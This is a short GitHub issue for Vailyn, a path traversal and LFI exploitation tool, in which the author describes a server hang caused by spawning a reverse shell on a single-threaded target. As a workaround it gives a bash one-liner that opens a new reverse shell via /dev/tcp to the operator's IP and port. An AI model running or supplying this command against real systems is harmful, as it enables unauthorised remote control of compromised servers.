VainlyStrain / Vailyn

A phased, evasive Path Traversal + LFI scanning & exploitation tool in Python
GNU General Public License v3.0
196 stars 25 forks source link

[Fix] Server Hangs on Reverse Shell #16

Closed VainlyStrain closed 3 years ago

VainlyStrain commented 3 years ago

If the target server is only running on 1 thread, and a reverse shell is spawned, the server doesn't accept HTTP connections any more, leading to a DoS scenario. If this happens in your operation, perform the following steps:

1) create a new listener on a different port 2) in your current shell, enter the following command:

bash -i >& /dev/tcp/{YOUR IP}/{NEW PORT} 0>&1 & exit

This will spawn a new shell on your second port and terminate the first, and the server will accept connections again.